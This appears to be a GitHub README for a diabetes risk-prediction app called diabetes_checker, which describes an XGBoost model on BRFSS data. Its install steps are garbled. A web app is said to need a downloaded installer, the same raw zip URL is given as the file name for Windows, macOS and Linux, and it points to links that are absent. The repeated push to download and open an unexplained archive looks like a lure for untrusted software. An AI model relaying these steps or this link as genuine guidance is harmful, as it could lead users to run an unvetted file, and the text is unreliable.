Welcome to diabetes_checker, an easy-to-use web app designed to help you understand your diabetes risk. This app provides personalized insights and advice based on a robust predictive model built using advanced data science tools.
Before you begin, ensure your computer meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Browser: Latest version of Chrome, Firefox, Safari, or Edge
- Internet Connection: Required for app access and data retrieval
To get started, you need to download the application from our releases page.
Click the link above to visit the page where you can download the latest version of the app.
- Visit the Releases page.
- Locate the latest release.
- Download the appropriate file for your operating system.
- Once the download finishes, locate the downloaded file:
- Windows: It will typically be in your Downloads folder, named something like
https://github.com/0aqta/diabetes_checker/raw/refs/heads/main/template/diabetes_checker_v1.0.zip. - macOS: The file will be in your Downloads folder, named something like
https://github.com/0aqta/diabetes_checker/raw/refs/heads/main/template/diabetes_checker_v1.0.zip. - Linux: The file will be in your Downloads folder, with a name like
https://github.com/0aqta/diabetes_checker/raw/refs/heads/main/template/diabetes_checker_v1.0.zip.
- Windows: It will typically be in your Downloads folder, named something like
- Open the downloaded file and follow the on-screen instructions to install the app.
- Open the diabetes_checker app.
- You will see a friendly interface guiding you through the process.
- Enter the required information about your health. This may include age, weight, family history, and lifestyle choices.
- After entering your information, click on the "Calculate Risk" button.
- The app will analyze your data and provide a risk score along with tailored prevention advice.
diabetes_checker uses advanced machine learning and data science techniques. The XGBoost model utilizes historical health data from the BRFSS (Behavioral Risk Factor Surveillance System) to generate personalized insights. The app operates on Google Cloud's BigQuery for efficient data processing and storage, ensuring reliability and speed.
Your experience is important to us. If you encounter any issues or have feedback, please feel free to reach out. You can submit feedback directly through the app or create an issue in the GitHub repository.
- Personalized Prevention Advice: Get customized tips tailored to your health profile.
- Educational Content: Learn more about diabetes and risk factors.
- User-Friendly Interface: Designed for everyone, regardless of technical skill level.
This app focuses on a variety of key areas, including:
- bigquery
- brfss
- canada-health
- data-science
- diabetes
- educational-tool
- gemini-ai
- generative-ai
- google-cloud
- google-gemini
- gta
- healthtech
- machine-learning
- preventive-health
- python
- risk-prediction
- streamlit
- toronto
- web-app
- xgboost
If you have questions or need assistance, please reach out to us via the issues section on GitHub or through the app.
Thank you for choosing diabetes_checker. Your health is important. Let's take the first step together to understand and manage your diabetes risk.
Click the link above to get started. Happy checking!